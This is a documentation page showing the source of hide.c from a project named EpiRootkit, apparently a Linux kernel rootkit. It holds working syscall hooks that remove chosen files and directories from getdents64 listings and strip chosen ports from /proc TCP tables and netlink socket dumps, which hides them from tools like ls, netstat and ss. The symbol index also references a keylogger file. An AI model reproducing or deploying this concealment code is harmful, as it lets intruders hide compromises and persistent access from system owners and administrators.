EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
hide.c
Go to the documentation of this file.
1#include "hide.h"
2
3#include "config.h"
4#include "hide_api.h"
5
6asmlinkage int (*__orig_getdents64)(const struct pt_regs *regs) = NULL;
7asmlinkage long (*__orig_tcp4_seq_show)(struct seq_file *seq, void *v) = NULL;
8asmlinkage long (*__orig_tcp6_seq_show)(struct seq_file *seq, void *v) = NULL;
9asmlinkage long (*__orig_recvmsg)(const struct pt_regs *regs) = NULL;
10
11asmlinkage int notrace getdents64_hook(const struct pt_regs *regs) {
12 int ret;
13 int fd = (int)regs->di;
14 struct file *dir_f;
15 struct path parent_path;
16 char dirbuf[256];
17 char *dirstr = NULL;
18
19 dir_f = fget(fd);
20 if (dir_f) {
21 parent_path = dir_f->f_path;
22 path_get(&parent_path);
23 dirstr = d_path(&parent_path, dirbuf, sizeof(dirbuf));
24 path_put(&parent_path);
25 fput(dir_f);
26 }
27
28 // Get the pointer to the directory entrues buffer
29 struct linux_dirent64 __user *user_dir =
30 (struct linux_dirent64 __user *)regs->si;
31
32 // Call the original getdents64 syscall, to have the buffer updated
33 // Next, we just need to check directories in the buffer,
34 // remove the ones we don't want, and copy the buffer to user space
35 ret = __orig_getdents64(regs);
36 if (ret < 0)
37 return ret;
38
39 // Allocate a temporary buffer in kernel space for copying and processing
40 // the entries. Next copy the buffer from user space to kernel space.
41 char *kbuf = kmalloc(ret, GFP_KERNEL);
42 if (!kbuf)
43 return ret;
44
45 if (copy_from_user(kbuf, user_dir, ret)) {
46 kfree(kbuf);
47 return ret;
48 }
49
50 // Current position in the kbuf buffer for processing entries
51 unsigned int offset = 0;
52
53 // Allocate a second temporary buffer to store the non-hidden directory
54 // entries
55 char *newbuf = kmalloc(ret, GFP_KERNEL);
56 if (!newbuf) {
57 kfree(kbuf);
58 return ret;
59 }
60
61 unsigned int new_size = ret;
62 unsigned int new_off = 0;
63
64 const char prefix[] = HIDDEN_PREFIX;
65 size_t prefix_len = strlen(prefix);
66
67 // Loop through the entries in the buffer
68 // Check if the entry is hidden or not
69 while (offset < ret) {
70 struct linux_dirent64 *d = (void *)(kbuf + offset);
71 int reclen = d->d_reclen;
72 bool hide = false;
73
74 if (strncmp(d->d_name, prefix, prefix_len) == 0) {
75 hide = true;
76 }
77
78 // Build full path to be more precise than before
79 else if (dirstr) {
80 char fullpath[512];
81 int len;
82
83 if (strcmp(dirstr, "/") == 0) {
84 len = snprintf(fullpath, sizeof(fullpath), "/%s", d->d_name);
85 }
86 else {
87 len = snprintf(fullpath, sizeof(fullpath), "%s/%s", dirstr, d->d_name);
88 }
89
90 if (len > 0 && len < sizeof(fullpath) && hide_contains_str(fullpath))
91 hide = true;
92 }
93
94 if (hide)
95 new_size -= reclen;
96 else {
97 memcpy(newbuf + new_off, d, reclen);
98 new_off += reclen;
99 }
100 offset += reclen;
101 }
102
103 // Copy the modified new buffer back to the user-space buffer to replace the
104 // original buf
105 if (copy_to_user(user_dir, newbuf, new_size)) {
106 kfree(kbuf);
107 kfree(newbuf);
108 return ret;
109 }
110
111 kfree(kbuf);
112 kfree(newbuf);
113
114 // New size without directories we do not want...
115 return new_size;
116}
117
118static bool hide_sock_ports(struct sock *sk) {
119 struct inet_sock *inet = inet_sk(sk);
120 char port_str[6];
121
122 // Check source port
123 snprintf(port_str, sizeof(port_str), "%u", ntohs(inet->inet_sport));
124 if (port_contains(port_str))
125 return true;
126
127 // Check dest port
128 snprintf(port_str, sizeof(port_str), "%u", ntohs(inet->inet_dport));
129 if (port_contains(port_str))
130 return true;
131
132 return false;
133}
134
135asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v) {
136 if (v != SEQ_START_TOKEN) {
137 struct sock *sk = v;
138 if (hide_sock_ports(sk))
139 return 0;
140 }
141 return __orig_tcp4_seq_show(seq, v);
142}
143
144asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v) {
145 if (v != SEQ_START_TOKEN) {
146 struct sock *sk = v;
147 if (hide_sock_ports(sk))
148 return 0;
149 }
150 return __orig_tcp6_seq_show(seq, v);
151}
152
153// Be careful. Problems with older versions of the kernel.
154// Had a problem with struct user_msghdr... Think I figured it out.
155// Purpose: filter out the netlink socket dump for ss, and other processes
156asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs) {
157 // Call the original recvmsg syscall
158 long ret = __orig_recvmsg(regs);
159 if (ret <= 0)
160 return ret;
161
162 // Get the socket file descriptor from arguments
163 int fd = regs->di;
164 struct file *f = fget(fd);
165 if (!f)
166 return ret;
167
168 // Get the socket structure from the file descriptor
169 struct socket *sock = f->private_data;
170 struct sock *sk = sock ? sock->sk : NULL;
171
172 // Enable hook for only the netlink socket and the diag protocol
173 // This prevents us from touching EVERY recvmsg on every daemon ouch
174 if (!sk || sk->sk_family != AF_NETLINK || sk->sk_protocol != NETLINK_SOCK_DIAG) {
175 fput(f);
176 return ret;
177 }
178 fput(f);
179
180 // Copy the user_msghdr structure from the user space
181 struct user_msghdr umh;
182 if (copy_from_user(&umh, (void __user *)regs->si, sizeof(umh)))
183 return ret;
184
185 if (umh.msg_iovlen != 1)
186 return ret;
187
188 // Copy it
189 struct iovec kv;
190 if (copy_from_user(&kv, umh.msg_iov, sizeof(kv)))
191 return ret;
192
193 // Get the raw netlink dump into kernel space
194 char *in = kmalloc(ret, GFP_KERNEL);
195 if (!in)
196 return ret;
197 if (copy_from_user(in, kv.iov_base, ret)) {
198 kfree(in);
199 return ret;
200 }
201
202 // Output buff (always the same technique)
203 char *out = kmalloc(ret, GFP_KERNEL);
204 if (!out) {
205 kfree(in);
206 return ret;
207 }
208
209 // Iterate through the netlink messages
210 size_t out_len = 0;
211 long remaining = ret;
212 for (struct nlmsghdr *nlh = (void *)in; NLMSG_OK(nlh, remaining);
213 nlh = NLMSG_NEXT(nlh, remaining)) {
214 // Always copy DONE so processes know the dump ended
215 if (nlh->nlmsg_type == NLMSG_DONE) {
216 memcpy(out + out_len, nlh, nlh->nlmsg_len);
217 out_len += nlh->nlmsg_len;
218 break;
219 }
220
221 // For each inet‐diag message check the port (source)
222 if (nlh->nlmsg_type == SOCK_DIAG_BY_FAMILY) {
223 struct inet_diag_msg *d = NLMSG_DATA(nlh);
224 int sport = ntohs(d->id.idiag_sport);
225 int dport = ntohs(d->id.idiag_dport);
226
227 // Check
228 char port_str[8];
229 snprintf(port_str, sizeof(port_str), "%u", sport);
230 if (port_contains(port_str))
231 continue;
232
233 snprintf(port_str, sizeof(port_str), "%u", dport);
234 if (port_contains(port_str))
235 continue;
236 }
237
238 // Else copy the full message
239 memcpy(out + out_len, nlh, nlh->nlmsg_len);
240 out_len += nlh->nlmsg_len;
241 }
242
243 // Back to user space
244 size_t err = copy_to_user(kv.iov_base, out, out_len);
245 if (err) {
246 // Nothing yet
247 }
248
249 kfree(in);
250 kfree(out);
251
252 // Return the new length (not alwya smaller)
253 return out_len;
254}
#define HIDDEN_PREFIX
Definition config.h:54
static struct dentry * file
Definition epikeylog.c:145
asmlinkage long notrace recvmsg_hook(const struct pt_regs *regs)
Definition hide.c:156
asmlinkage int notrace getdents64_hook(const struct pt_regs *regs)
Definition hide.c:11
asmlinkage long(* __orig_tcp6_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:8
asmlinkage long notrace tcp6_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:144
asmlinkage long(* __orig_recvmsg)(const struct pt_regs *regs)
Definition hide.c:9
static bool hide_sock_ports(struct sock *sk)
Definition hide.c:118
asmlinkage long notrace tcp4_seq_show_hook(struct seq_file *seq, void *v)
Definition hide.c:135
asmlinkage long(* __orig_tcp4_seq_show)(struct seq_file *seq, void *v)
Definition hide.c:7
asmlinkage int(* __orig_getdents64)(const struct pt_regs *regs)
Definition hide.c:6
int port_contains(const char *port)
Definition hide_api.c:118
int hide_contains_str(const char *u_path)
Definition hide_api.c:66
unsigned short d_reclen
Definition hide.h:26
char d_name[]
Definition hide.h:28